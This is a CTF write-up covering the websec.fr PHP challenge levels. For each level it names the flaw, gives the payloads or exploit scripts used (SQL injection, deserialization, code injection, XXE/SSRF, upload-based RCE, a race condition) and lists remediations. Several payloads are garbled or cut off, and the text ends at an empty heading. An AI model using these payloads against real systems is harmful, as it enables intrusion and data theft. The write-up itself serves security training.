SS25Hack RedTeam CTF Writeup

Zainab Lorgat

Level 01

Unauthenticated SQL Injection in `id` Parameter

Severity

High

How it was Discovered

During source code inspection of the page at `https://websec.fr/level01/index.php`, the following line was found:

```
$query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
```

This indicates direct concatenation of user input into a SQL query with no sanitization. Supplying a single quote character (') as input triggered an SQL error message, confirming the use of SQLite3 and indicating the vulnerability.

A UNION-based SQL injection was used to enumerate the database schema:

```
1 union select 1,sql from sqlite_master;
```

This revealed the table structure:

```
CREATE TABLE users(id int(7), username varchar(255), password varchar(255))
```

This confirmed the presence of a third column, `password`. The following payload was used to extract the flag:

```
1 union select id, password from users;
```

Flag: `WEBSEC{Simple_SQLite_Injection}`

Remediation

- Use **parameterized queries** or **prepared statements** to avoid mixing code and user input.
- Never concatenate untrusted user input directly into SQL queries.
- Validate and sanitize all user input to ensure it meets expected formats.
- Disable detailed SQL error messages in production to reduce information leakage.
- Ensure the database user has the least privileges required to operate.

Level 02

SQL Injection Bypass Using Filtered Keywords

Severity:

High

How it was discovered:

The vulnerability was discovered through an error message and inspecting the source code. Upon visiting the page, a message was displayed stating that the following keywords were filtered by the application using `preg_replace()`:

$$union, order, select, from, groupby$$

This indicated the use of a basic blacklist filtering mechanism. Reviewing the source code confirmed the use of the `preg_replace()` function to remove these keywords from the user input. However, after further research on `preg_replace()`, it was found that this function does not filter recursively, meaning certain bypasses were possible. The bypass was achieved by injecting:

```
uniunionon seselectect id, password frfromom users ;
```

This allowed the injection to succeed despite the filtered keywords.
Flag: `WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}`

Remediation:

- Avoid using simple blacklists; instead, rely on allow-listing known safe inputs.
- Apply proper sanitization techniques, such as using prepared statements and parameterized queries.
- Regularly audit the application for filtering weaknesses, especially when using string replacement functions.

Level 03

Hash Collision Exploitation Due to Flawed SHA1 Handling

Severity:

High

How it was discovered:

The vulnerability was discovered through inspecting the PHP source code and understanding how the `sha1()` function was incorrectly used. The script contained a typo in the `sha1()` function call:

```
fa1se instead of false
```

This caused the function to return raw binary output instead of a hexadecimal string. The server used `password_verify()` to compare the raw output of the hashed input against the flag's hash. However, the `password_verify()` function stops comparing at the first null byte (), leading to a vulnerability.

In the source code, the comparison occurred in the following block:

```
if(password\_verify(sha1($flag, fa1se), $h2) === true)
```

When any input is submitted, the server responds with the SHA1 hash of the flag. By analyzing the response, it was observed that the first two bytes (7c00) were critical. A collision was found where the raw SHA1 hash of a string started with 7c00, which bypassed the check. A Python script was written to find the collision:

```
import hashlib
import requests

def find_collision():
    for i in range(1000000):
        s = str(i)
        h = hashlib.sha1(s.encode()).digest()  # raw bytes
        if h[0] == 0x7c and h[1] == 0x00:
            print(f"Found collision: {s}")
            return s
    return None

find_collision()
```

The collision string `104610` was found and successfully inputted, which returned the flag:
`WEBSEC{Please_Do_not_combine_rAw_hash_functions_mi}`

Remediation:

- Do not use raw hash functions (such as `sha1()`) directly for password verification or security-critical operations.
- Use cryptographic hash functions designed for password hashing, such as `password_hash()` and `password_verify()`, which incorporate proper salting and do not suffer from truncation issues.
- Ensure that all hash comparisons are done safely without prematurely stopping at null bytes or other invalid characters.
- Validate and test the handling of raw hash outputs to avoid unintentional information leakage or flaws in verification processes.

Level 04

PHP Object Injection Exploitation

Severity:

High

How it was discovered:

The vulnerability was discovered through inspecting the PHP source code. The application used the `unserialize()` function to deserialize the `leet_hax0r` cookie value, which was base64-encoded. The following code was found in the source:

```
if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize(base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
} else {
    $cookie = base64_encode(serialize(array('ip' => $_SERVER['REMOTE_ADDR'])));
    setcookie('leet_hax0r', $cookie, time() + (86400 * 30));
}
```

Additionally, a class `SQL` was identified, which in its destructor, executes an SQL query and echoes the result to the screen:

```
public function __destruct() {
    if (!isset($this->conn)) {
        $this->connect();
    }
}
```

This gave insight into the possibility of injecting a malicious serialized object to trigger the execution of the `__destruct()` method and reveal sensitive data.

Running the following to create a serialized and base64 encoded sql object that leaks passwords

```
<?php
class SQL {
    public $query = 'SELECT password AS username FROM users WHERE id=1';
    public $conn;
}
$payload = base64_encode(serialize(new SQL()));
echo "Cookie to use: leet_hax0r=" . $payload;
?>
```

resulted in the cookie:

```
leet_hax0r=
    TzozOiJTUUwiOjI6e3M6NToicXVlcnkiO3M6NDk6IlNFTEVDVCBwYXNzd29yZCBBUyB1c2VybmFtZSBGUk9NIHVzZXJzIFdIRVJFIGlkPTEiO3M
```

injecting this into the leet_hax0r cookie value and refreshing the page resulted in the flag:
`WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}`

Remediation:

- Avoid using `unserialize()` on user-controlled input. If deserialization is necessary, use a safer alternative, such as `json_decode()`.
- Consider using a more secure method for handling cookies, such as signing and encrypting cookie data.
- Implement strict validation of object types before unserializing data to prevent object injection attacks.
- Use a web application firewall (WAF) to detect and mitigate common web application attacks like object injection.

Level 05

Critical Code Injection via Deprecated `/e` Modifier in `preg_replace()`

Severity:

Critical

How it was discovered:

The vulnerability was discovered through inspecting the `preg_replace()` function used in the spellcheck functionality. The code snippet in question was as follows:

```
$q = substr ($_REQUEST['q'], 0, 256);
$blacklist = implode(["'", '"', '(', ')', ' ', '`']);
$corrected = preg_replace("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
```

This code uses the deprecated `/e` modifier in `preg_replace()`, which evaluates the replacement string as PHP code. The function applies a character blacklist to filter out certain characters but does not adequately handle newlines or alternative syntax, allowing the bypass of the restrictions.

The working exploit involved submitting the following payload via the text input field while including `flag.php` as a GET parameter:

```
q=\$(include\%0A\$_REQUEST[0])\$flag&submit=&0=flag.php
```

In this payload: - The newline character (%0A) bypasses the space restrictions in the blacklist. - `flag.php` is included via the request parameter, and the `$flag` variable is output through the vulnerable regex replacement. - The parameter `0=flag.php` forces the server to include and display the contents of `flag.php`.

This resulted in the flag being displayed in the server's response, demonstrating the critical danger of using deprecated PHP features with insufficient input filtering. `WEBSEC{Writing_a_sp3llcheckEr_in_php_aint_no_fun}`

Remediation:

- Avoid using the deprecated `/e` modifier in `preg_replace()`. Instead, use a safer approach, such as `preg_replace_callback()`.
- Implement strict input validation to ensure that only expected and safe characters are included in user input.
- Avoid using `eval()` or similar functions that execute user-controlled input as code.
- Regularly review and update code to remove reliance on deprecated or insecure functions and features.

Level 07

SQL Injection Bypass via Weak Blacklist Filtering

Severity:

High

How it was discovered:

The vulnerability was discovered by analyzing the `sanitize()` function, which attempted to block SQL injection by checking for specific SQL keywords and special characters. The implementation used a blacklist that contained special characters and common SQL keywords:

```
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@"];
$special3 = ["[", "]", "^", "_", "`", "\\", "|", "{", "}"];
$sql = ["or", "is", "like", "glob", "join", "0", "limit", "char"];
$blacklist = array_merge($special1, $special2, $special3, $sql);
```

The function then checked if any of these blacklisted terms or characters appeared in the input string and aborted the process if they were found. While this approach might seem effective at first glance, it had critical flaws.

A payload that leveraged sub-queries and column aliasing was able to bypass the blacklist and perform a successful SQL injection:

```
999 \text{ union select id, pass from (select 999 as id, 999 as login, 999 as pass union select *
    from users) where id}
```

This payload worked because it avoided using any of the blacklisted terms but still successfully executed SQL injection by restructuring the query and using alternative syntax. This demonstrates the weakness of blacklist-based filtering, as it only blocks known patterns and can easily be bypassed with creative query engineering.

Remediation:

- Replace blacklist filtering with a more secure approach, such as using aloow-listing or parameterized queries to prevent SQL injection.
- Use prepared statements with bound parameters to ensure that user input is safely handled.
- Regularly audit and update input sanitization logic to prevent bypasses, and avoid relying on keyword-based filtering alone.
- Consider employing additional security measures, such as web application firewalls (WAFs), to help detect and block SQL injection attempts.

Level 08

File Upload Vulnerability Leading to Remote Code Execution (RCE)

Severity:

Critical

How it was discovered:

The vulnerability was discovered in the file upload functionality, where the application performs only superficial validation on uploaded GIF files. The validation checks only verify the initial GIF header bytes but ignore any appended content. This flaw allows an attacker to inject arbitrary PHP code after the valid GIF signature, leading to remote code execution.

The attacker uploaded a file with the extension .php.gif with the following content:

```
GIF89a
<?php
$files1=scandir(".");
print_r($files1);
?>
```

This payload contains a valid GIF header followed by PHP code that enumerates the directory contents and prints the files using `scandir()`. The attacker can then read the contents of `flag.txt` using `file_get_contents()`:

```
echo file_get_contents("flag.txt");
```

This allowed the attacker to retrieve the flag: `WEBSEC{BypassingImageChecksToRCE}`

The exploit succeeds because the application fails to properly sanitize uploaded files and allows PHP code execution in the upload directory. This highlights the danger of partial validation when handling file uploads.

Remediation:

- Perform thorough validation of uploaded files by checking not only the file signature (header) but also the entire file content and structure to ensure it is a legitimate image file.
- Disable script execution in the upload directory through server configuration by setting proper file permissions (e.g., using `php_admin_flag` or `.htaccess` to prevent PHP code execution).
- Consider using a dedicated file upload library or service that automatically validates the file type and restricts file execution.
- Use a security mechanism, such as content-type verification or file size restrictions, to further limit the risk of malicious files being uploaded.

Level 09

Bypassing PHP Input Filtering with Heredoc Syntax for Code Execution

Severity:

Critical

How it was discovered:

The vulnerability was discovered by analyzing the application's handling of user input. The application attempts to block dangerous characters through a blacklist approach before writing the input to a temporary file. However, the application fails to account for PHP's flexible syntax, allowing an attacker to bypass the input filter.

The attacker crafted a payload using heredoc syntax to include the `flag.txt` file without using any of the blacklisted characters like quotes or angle brackets. The python script was as follows:

```
import requests
s = requests.session()
LEVEL09 = "http://websec.fr/level09/index.php"
c = """include<<<EOD
flag.txt
EOD
??>>"""
param = {"c":c,"submit":"OK"}
r = s.get(LEVEL09,params=param)
file_cache = r.cookies['session_id']
param = {"cache_file":"/tmp/"+file_cache,"a":"1234"}
r = s.get(LEVEL09,params=param)
print(r.text)
```

This payload was sent in the `c` parameter, and the server wrote the payload to a temporary file. The attacker then used the `cache_file` parameter to reference the temporary file and execute it:

```
param = {"cache_file":"/tmp/"+file_cache,"a":"1234"}
```

This successfully included and executed the contents of `flag.txt`, which led to the flag being retrieved.

Remediation:

- Implement a allow-list-based input validation approach rather than relying on blacklists to block dangerous characters.
- Avoid evaluating user-controlled input directly, especially when it could be executed as code. Use proper sandboxing techniques to securely handle user input.
- Generate random, unpredictable filenames for temporary file storage to prevent attackers from guessing or manipulating file paths.
- Consider using secure methods to include files, such as validating file paths and types before inclusion, and ensure no arbitrary code execution is allowed.

Level 10

Hash Collision via Loose Comparison and Partial Hash Truncation

Severity:

Critical

How it was discovered:

The vulnerability was discovered in the system's attempt to verify file access by comparing a user-supplied hash against a computed MD5 hash of the flag concatenated with the requested filename. The implementation fails due to two weaknesses:

- The use of PHP's loose comparison operator `==` instead of the strict comparison operator `===`, which allows for type juggling attacks.
- The hash computation only considers the first 8 characters of the MD5 hash, significantly reducing the search space for potential collisions.

By exploiting these weaknesses, an attacker can manipulate the filename and create a hash collision. The attacker progressively added forward slashes to the requested filename, altering the hash computation until it produced a value starting with "0e" (PHP's scientific notation for zero). When compared against a simple "0" using loose comparison, PHP evaluated both values as numerically equal (0 == 0), bypassing the security check.

The following Python code was used to exploit the vulnerability:

```
import requests
import re
url="https://websec.fr/level10/index.php"

def go():
    for i in range(1000):
        payload="."+"/"*i+"flag.php"
        data={'f':payload, 'hash':0}
        r=requests.post(url, data=data)
        print(f"Trying: {i} {payload}")
        if ('<pre>Permission denied!</pre>') not in r.text:
            print(f"Found: {i} {payload}")
            print(re.search("WEBSEC{(.*)}",r.text)[0])
            break

def main():
    go()

if __name__ == '__main__':
        main()
```

The successful exploit led to the retrieval of the flag: `WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}`

Remediation:

- Use strict comparison (`===`) instead of loose comparison (`==`) to prevent type juggling attacks.
- Ensure that full hash values are used rather than truncated ones, or implement a more robust hashing mechanism such as HMAC (Hash-based Message Authentication Code) for file verification.
- Normalize file paths before processing to prevent path manipulation attacks.
- Avoid relying on partial hash comparisons for security-sensitive operations, as they reduce the difficulty of collision attacks.

Level 11

SQL Injection via Blacklist Bypass in Table Name

Severity:

High

How it was discovered:

The vulnerability was discovered in the application's attempt to prevent SQL injection through multiple layers of filtering, including keyword blacklisting and special character blocking. However, the critical flaw lies in directly concatenating user-controlled input (the table name) into SQL queries without proper parameterization. While the numeric ID parameter is properly validated using `is_numeric()`, the table name remains vulnerable to injection.

The following blacklist is implemented in the code:

```
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
$special3 = ["^", "_", "`", "{", "|", "}"];
$sql = ["union", "0", "join", "as"];
$blacklist = array_merge($special1, $special2, $special3, $sql);
```

The exploit works by bypassing these blacklists using a nested `SELECT` statement that maintains the expected two-column structure (id and username). This clever use of derived tables and subquery syntax allows extraction of sensitive data without triggering any of the blocked keywords like `UNION` or `JOIN`.

The following Python code demonstrates the successful exploit:

```
import requests
url = "https://websec.fr/level11/index.php"
data = {
    'user_id': '2',
    'table': '(select 2 id, (select enemy from costume) username from costume)',
    'submit': 'Submit'
}
response = requests.post(url, data=data)
print(response.text)
```

The flag was successfully retrieved with the exploit: `WEBSEC{Who_needs_AS_anyway_when_you_have_sqlite}`

Remediation:

To fix this vulnerability:

- Use **parameterized queries** or an ORM (Object-Relational Mapping) system to safely handle user inputs, avoiding direct concatenation of user data into SQL queries.
- Apply **allow-list validation** for table names to ensure that only known, safe tables are queried, preventing injection of arbitrary queries.
- Avoid relying on blacklist-based filtering, as it is prone to bypassing through alternative syntax.
- Ensure that error messages do not reveal sensitive information about the query structure, as this can help attackers craft more precise exploits.

Level 12

XML External Entity (XXE) Vulnerability in SimpleXMLElement

Severity:

Critical

How it was discovered:

This challenge involves a critical XML External Entity (XXE) vulnerability in PHP's `SimpleXMLElement` class. The vulnerability allows users to instantiate arbitrary classes with controlled parameters, including `SimpleXMLElement` configured to parse attacker-controlled XML. By crafting a malicious XML payload containing an external entity reference:

```
<!ENTITY xxe SYSTEM "http://127.0.0.1/level12/index.php">
```

we force the server to make an internal HTTP request to itself. This bypasses the IP restriction check

```
$_SERVER['REMOTE\_ADDR'] === '127.0.0.1'
```

in the flag decryption routine, which would normally prevent remote users from accessing the flag.

The vulnerability arises from three key issues:

- Unsafe dynamic class instantiation.
- Failure to disable external entity processing in XML parsing (`LIBXML_NOENT`).
- IP-based authentication that can be bypassed through server-side request forgery (SSRF).

The following Python script was crafted to exploit this vulnerability:

```
import requests
import base64
import re
def lvl12():
    url = "http://websec.fr/level12/index.php"
    # XXE payload to force localhost access
    payload = {
        'class': 'SimpleXMLElement',
        'param1': '<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://127.0.0.1/level12/index.php">]><data>&xx
        'param2': '2'
    }
    print("[*] Sending XXE payload to trigger localhost access...")
    response = requests.post(url, data=payload)
    if response.status_code == 200:
        if "WEBSEC{" in response.text:
            flag = re.search(r"WEBSEC\{.*?\}", response.text).group(0)
            print(f"[+] FLAG: {flag}")
        else:
            print("[-] Flag not found in response")
            print("[*] Server response:")
            print(response.text)
    else:
        print(f"[-] Exploit failed with status {response.status_code}")
if __name__ == "__main__":
    lvl12()
```

The exploit successfully retrieved the flag: `WEBSEC{Many_thanks_to_hackyou2014_web400_MSLC_<3}`

Remediation:

- **Disable external entity processing** in XML parsers by using `LIBXML_NOENT` or other secure configuration settings.
- Avoid **unsafe dynamic class instantiation** by validating user input and ensuring only trusted classes are instantiated.
- Replace IP-based authentication with more secure access control methods, such as authentication tokens or proper session management.
- Implement **allow-list validation** for any sensitive network access and block SSRF attempts.
- Always sanitize and validate all input before processing it, especially for user-controlled XML and other potentially dangerous formats.

Level 13

SQL Injection in CMS Due to Inadequate Input Sanitization

Severity:

Critical

How it was discovered:

The application attempts to validate user input by converting values to integers and enforcing a 70-character limit. However, it fails to properly sanitize comma-separated values before concatenating them into a SQL query. This oversight allows for the injection of malicious SQL, bypassing the protections.

The attack was carried out using the following payload:

```
,,,))UNION SELECT user_password AS user_id,0,0 FROM users;--
```

This payload successfully bypasses the input restrictions and extracts user credentials by exploiting the SQL injection vulnerability in the `IN` clause. The approach is effective because:

- Type casting alone cannot prevent SQL injection.
- IN clauses are particularly dangerous as injection points.
- Column aliasing can bypass output validation mechanisms.

The exploit works by maintaining the query structure while staying within the allowed input length. It is capable of retrieving sensitive information such as user passwords, including the flag.

The flag obtained from the attack is: `WEBSEC{SQL_injection_in_your_cms,_made_simple}`

Remediation:

- Always use **parameterized queries** or **prepared statements** to interact with the database.
- **Sanitize user input** properly before using it in SQL queries. This includes rejecting or escaping special characters such as commas, parentheses, and semicolons.
- Avoid relying solely on type casting for input validation, as it can be easily bypassed by attackers.
- **Limit query privileges** by ensuring that the application can only access necessary data and cannot perform unnecessary operations like retrieving passwords.
- Implement thorough **error handling and logging** to detect suspicious activity and potential SQL injection attempts.

Level 14

Error-Based Information Disclosure via Improper Error Handling

Severity:

High

How it was discovered:

The challenge was solved through an error-based attack exploiting PHP's fileinfo extension. By injecting the following payload into the input field:

```
echo new finfo(0,'/');
```

This malformed constructor triggered error messages that leaked the surrounding source code, including the flag variable declaration.

The exploit worked because of the following reasons:

- **Class instantiation bypassed the function blacklist,** allowing the use of the `finfo` class.
- **Error reporting was enabled,** exposing file contents through error messages.
- **The payload avoided all blocked special characters,** staying well within the 25-character limit, making it difficult for blacklists to block it.

This technique cleverly weaponized PHP's error handling against itself, allowing the attacker to extract sensitive information, such as the flag, without needing complex obfuscation or brute-forcing.

The flag obtained from this attack is: `WEBSEC{Error_based_information_disclosure_via_improper_error_handling}`

Remediation:

To prevent such error-based information disclosure vulnerabilities:

- **Disable detailed error reporting** in production environments. Instead, log errors to secure log files that are not publicly accessible.
- **Sanitize user input** properly before using it in functions, especially functions that can cause error messages.
- **Use try-catch blocks** to handle errors gracefully and prevent them from leaking sensitive information.
- **Avoid using blacklists** as they can be bypassed through alternative techniques like class instantiation. Instead, use a robust allow-listing approach.
- **Limit the visibility of sensitive code,** such as flag variable declarations, to reduce the risk of exposure.

Level 15

Code Injection via `create_function()` in PHP

Severity:

Critical

How it was discovered:

This challenge demonstrates a dangerous code injection vulnerability through PHP's `create_function()` feature. The application allows users to define function bodies through unsanitized input, which internally uses `eval()` to generate anonymous functions.

The exploit payload is:

```
}; echo $flag; //
```

This payload works by strategically manipulating the function syntax:

- It first closes the created function with `;`.
- Then, it injects the malicious statement `echo $flag;` to print the flag.
- Finally, it comments out the remaining code using `//`.

This effectively transforms the intended functionality into a code execution vulnerability, exposing the sensitive `$flag` variable despite the interface's claims of preventing arbitrary code execution.

The key issue is that `create_function()` acts as an `eval()` wrapper, which allows arbitrary code execution when used with untrusted input. This class of vulnerability led to the deprecation of `create_function()` in PHP 7.2 and its complete removal in PHP 8.0.

Flag: `WEBSEC{HHVM_was_right_about_not_implementing_eval}`

Remediation:

To mitigate such vulnerabilities:

- **Avoid using dynamic function generation or** `eval()` in production code. Instead, define functions statically or use other safer alternatives.
- **Use input validation and sanitization** to ensure that user-controlled input does not end up executing arbitrary code.
- **Use alternatives to** `create_function()`, such as anonymous functions with closures, which do not involve `eval()`.
- **Disable dangerous PHP functions** (like `eval()`) in the server configuration whenever possible.

Level 17

Array Injection via `strcasecmp()` in PHP

Severity:

Low to Medium

How it was discovered:

The challenge involves a vulnerability in PHP's `strcasecmp()` function. This function is used to compare the user-submitted flag with the server-side flag. The code snippet is as follows:

```
if (! strcasecmp($_POST['flag'], $flag))
    echo '<div class="alert alert-success">Here is your flag: <mark>' . $flag . '</mark>.</div>';
else
    echo '<div class="alert alert-danger">Invalid flag, sorry.</div>';
```

The `strcasecmp()` function performs a case-insensitive string comparison, but it fails when an array is passed as the argument. Passing an array as the `flag` input will cause the comparison to break and return `false`, as `strcasecmp()` cannot compare a string to an array. This results in the condition

```
! strcasecmp($_POST['flag'], $flag)
```

evaluating as `true`, and the actual flag is displayed.

This can be exploited by either:

- Making a POST request where the `flag` parameter is an array.
- Changing the name attribute of the input field to `flag[]`, which sends the value as an array in the request.

Remediation:

- **Ensure the input is a string:** Before comparing user input with the expected flag, explicitly check that

  ```
  $_POST['flag']
  ```

  is a string and not an array.
- **Input validation:** Sanitize and validate inputs to avoid unexpected data structures.
- **Avoid using `strcasecmp()` in this context:** Use a stricter comparison method like `strcmp()` or cast the input to a string before comparison.

Level 18

PHP Object Injection Exploit via Reference Hijacking in Serialized Data

Severity:

High

How it was discovered:

This challenge involves exploiting a PHP object injection vulnerability rooted in the use of unserialize() on user-controlled cookies. The application unserializes an object from the 'obj' cookie and compares its 'input' and 'flag' properties using 'hash$_equals()$'.$If the values match, the flag is revealed.$

The key insight lies in how PHP handles object references during serialization. By creating a malicious serialized object where 'input' is a reference to 'flag', and then letting the application assign the real flag to 'flag', both properties end up pointing to the same value. This causes the comparison to succeed, revealing the flag.

The crafted PHP payload in a python script:

```
from requests import *
import subprocess
import re

def theCookie():
    #
    # Let's create, serialize and encode the object,
    # with PHP to maintain compatibility
    #
    phpCode='$obj = new stdClass();'    \
            '$obj->flag="theFlag";'     \
            '$obj->input=&$obj->flag;'  \
            '$theFlag=serialize($obj);' \
            'echo urlencode($theFlag);'

    cookie = subprocess.run(['php' , '-r', phpCode], capture_output=True, text=True).stdout
    return {'obj': cookie}

def get_the_flag(text):
    if "WEBSEC" in text:
        return "The flag: {0}".format(re.search("WEBSEC{(.*)}", text)[0])
    else:
        return 'Sorry, an error occurred, the flag was not found,'

def main():
     r = get("http://websec.fr/level18/index.php", cookies=theCookie())
     print(get_the_flag(r.text))

if __name__ == '__main__':
        main()
```

This vulnerability emphasizes the risks of reference preservation in serialized formats and underscores why deserialization of untrusted input should be avoided.WEBSEC{You_have_impressive_refrences._We'll_call_you_back.}

Remediation:

- **Avoid Unserializing User Input:** Never pass user-controlled data into ‘unserialize()‘. Use ‘json_decode()‘ for safer deserialization.
- **Validate and Filter Deserialized Objects:** If deserialization is absolutely necessary, validate object structure and use PHP 7.0+’s ‘allowed_classes‘ to limit deserialization scope.
- **Avoid Reference-sensitive Logic:** Avoid making security-critical decisions based on data that can be tampered with through serialization references.
- **Use Secure Comparison Logic:** Always verify that both values originate from trusted sources before comparing them.

Level 20

PHP Object Injection (POI) via Alternate Serialization Format

Severity:

High

How it was discovered:

This challenge showcases a sophisticated PHP object injection (POI) vulnerability bypassing a blacklist filtering mechanism through alternative serialization formats. The provided code snippet attempts to filter malicious inputs by checking for object serialization patterns using regular expressions:

```
function sanitize($data) {
    if ( !preg_match('/[A-Z]:/', $data)) {
        return unserialize ($data);
    }
    if ( !preg_match('/(^|;|{|})O:[0-9+]+:"/', $data)) {
        return unserialize ($data);
    }
    return false;
}
```

However, the code does not account for the 'C:' serialization prefix used in PHP's class serialization. This bypass allows an attacker to use a serialized object format that does not match the regex check.

The attack works by sending the payload:

```
C:4:"Flag":1:{};
```

This payload achieves the following:

- The 'C:' prefix indicates class serialization rather than object serialization.
- The payload specifies the 'Flag' class.
- The empty property field triggers the class's destructor ('__destruct()').

When this object is unserialized, PHP reconstructs the 'Flag' class and triggers the '__destruct()' method during script shutdown, echoing the global '$flag$'variablecontainingtheflag.'

Remediation:

- **Avoid using `unserialize()`**: Never unserialize user input without strict controls. Instead, use a more secure method such as JSON decoding.
- **Use a allow-list-based Approach:** Validate and strictly control input to prevent deserialization of arbitrary objects.
- **Disable PHP's Magic Methods**: Disable or restrict the use of PHP magic methods like `__destruct()` that could be exploited by attackers.
- **Implement Stronger Input Validation**: Make sure that even non-object types (such as classes) are validated and sanitized before being processed.

Level 22

Code Injection via Array Access and Function Call

Severity:

High

How it was discovered:

This challenge demonstrates a code injection vulnerability that bypasses strict character limits and blacklists through clever exploitation of PHP's array access syntax. The vulnerability is caused by improper input validation in the application that allows attackers to manipulate an internal '$blacklist$'$array to gain access to sensitive internal func$

The key part of the exploit is using PHP's array access syntax with curly braces '($blacklist0$)', $which bypasses the string-based blacklist filters. By performing a brute-force search through array indices ($from 0 through N$), the attacker can find certa$ object containing the flag.

The attack is conducted through the following Python script:

```
import requests

def find_working_index():
    i = 0
    while True:
        # URL-encoded: $blacklist{i}($a)
        payload = f"%24blacklist%7B{i}%7D%28%24a%29"
        response = requests.get(f"http://websec.fr/level22/index.php?code={payload}")

        if "WEBSEC{" in response.text:
            print(f"Working index: {i}")
            print("Flag found in response:")
            print(response.text)
            break
        i += 1

if __name__ == "__main__":
    find_working_index()
```

Remediation:

- **Blacklist Prevention:** Do not rely on blacklisting to block dangerous functions. Instead, employ a allow-list approach to validate allowed functions.
- **Limit Input Types:** Enforce strict input validation for user-supplied data, ensuring that only valid and expected inputs are processed.
- **Avoid Dynamic Function Calls:** Avoid using dynamic function calls (e.g., using variables or arrays to call functions) without proper sanitization.
- **Limit Array Access:** Prevent untrusted access to internal arrays and variables that may store critical functions or sensitive information.

Level 24

Filter Wrapper Exploit to Bypass Upload Restrictions and Achieve Remote Code Execution

Severity:

Critical

How it was discovered:

This challenge targets a vulnerable cloud-based text storage system that allows file uploads but attempts to restrict malicious behavior via several controls. These include:

- `open_basedir` restrictions to sandbox uploads,
- Content filtering that blocks PHP tags and JavaScript, and
- Session-based isolation using per-session directories.

Despite these protections, the vulnerability arises from the failure to sanitize the `filename` parameter, which allows abuse of PHP stream wrappers. By passing a specially crafted filename such as:

```
php://filter/convert.base64-decode/resource=Sh4d0wJJ2k.php
```

the attacker bypasses the content filters. The server interprets the base64-encoded contents of the file and decodes it into valid PHP code at runtime.

A malicious base64-encoded PHP payload such as:

```
<?php echo file_get_contents('../../flag.php'); ?>
```

is uploaded and saved, and when accessed, the filter chain decodes and executes it. This allows the attacker to escape the sandbox using directory traversal and retrieve the contents of the protected `flag.php` file.

1. The attacker crafts a base64-encoded PHP payload that reads `../../flag.php`.
2. A filename using the PHP filter wrapper with `convert.base64-decode` is passed during upload to evade content checks.
3. The server decodes and stores the payload using the filter.
4. The attacker accesses the file by path `/uploads/$PHPSESSID/Sh4d0wJJ2k.php`, triggering code execution.
5. The decoded PHP payload reads and displays the flag.

This exploit illustrates how powerful PHP features like stream filters can be dangerous when misused, especially when combined with weak input validation and improperly configured sandboxing mechanisms.`WEBSEC{no_javascript_no_php_I_guess_you_used_COBOL_to_get_a_RCE_right?}`

Remediation:

- **Sanitize Filenames:** Filenames should be strictly validated against a whitelist of safe characters and extensions.
- **Disable PHP Stream Wrappers for Uploads:** Disallow use of wrapper protocols like `php://`, `data://`, etc.

- **Harden open_basedir:** Ensure the sandbox root cannot be escaped using relative paths or symlinks.
- **Avoid Executable Uploads:** Store uploads in directories that are not executable by the web server (e.g., outside of document root or with execution disabled).
- **Verify and sanitize content server-side,** not just via filename filters.

Level 25

Parameter Pollution and Inconsistent Parameter Handling Leading to File Inclusion

Severity:

High

How it was discovered:

This challenge demonstrates a vulnerability stemming from parameter pollution, where the application attempts to prevent access to ‘flag.txt‘ by checking if any parameter values contain the string ”flag”. However, the application fails to validate the parameter names themselves, allowing for an exploit.

The attack works by exploiting PHP’s behavior of using only the first value when duplicate parameters exist. When the attacker sends a query string in the format ‘?page=flag:0/‘, PHP only processes the first parameter (‘page=flag‘) and ignores the second (‘:0/‘). This allows the attacker to bypass the check and include the ‘flag.txt‘ file, as the ‘.txt‘ extension is automatically appended to the injected filename.

The exploit succeeds due to three main flaws:

- **Inconsistent parameter handling:** The web server and the PHP application process parameters differently, allowing for manipulation.
- **Improper normalization of input:** The application fails to sanitize and normalize input before validating it.
- **Value-only blacklisting:** The application uses value-based blacklisting without considering the actual parameter names used in operations.

Exploit Process:

The attack is conducted by crafting a URL where the first parameter is ‘?page=flag‘, which bypasses the check, and the second parameter (‘&:0/‘) triggers the file inclusion of ‘flag.txt‘. The vulnerability is caused by the web server’s parsing behavior, which treats duplicate parameters in a way that allows this attack to succeed.

Remediation:

- **allow-list Validation:** Instead of using blacklisting, employ a allow-list for parameter names and values, ensuring that only allowed inputs are processed.
- **Consistent Input Handling:** Ensure input validation is performed consistently across both the web server and PHP application.
- **Sanitize Input Thoroughly:** Normalize and sanitize all input before validation, ensuring that special characters and encodings are properly handled.
- **Limit File Inclusion:** Apply strict restrictions on files that can be included, and avoid relying on user-controlled input for determining file paths.

Level 28

Race Condition in PHP File Upload System Exploiting Timing Window

Severity:

Critical

How it was discovered:

This challenge demonstrates a race condition vulnerability in a PHP file upload system that allows attackers to exploit the timing window between when an uploaded file is written to disk and when it is deleted. Despite implementing checks for file hashes and checksums, these measures become irrelevant due to the race condition, which enables arbitrary code execution.

The vulnerability exists due to a predictable file naming scheme based on MD5 hashed IP addresses and a 1-second delay before file deletion. The attacker can upload a malicious PHP file and exploit the 1-second window before the system deletes the file. The delay, intended as an anti-bruteforce measure (via ‘sleep(1)‘), ironically creates the perfect exploitation window.

The exploit involves the following steps:

- The attacker uploads a malicious PHP file (e.g., ‘payload.php‘).
- The attacker repeatedly attempts to access the uploaded file using a simple script until they hit the precise timing window where the file exists but hasn’t yet been deleted.
- By exploiting the timing race, the attacker is able to execute arbitrary PHP code, bypassing security measures such as MD5 hash comparison and CRC32 checksum validation.

Exploit Process:

The attacker creates a PHP payload that includes the flag file by running:

```
echo '<?php include("../flag.php"); echo $flag; ?>' > payload.php
```

The attacker then uses a loop to repeatedly access the file:

```
while true; do curl -s "http://target/tmp/$(md5 -qs $YOUR_IP).php"; done
```

This exploits the race condition by continuously attempting to access the file during the critical timing window where it exists but has not yet been deleted.

Remediation:

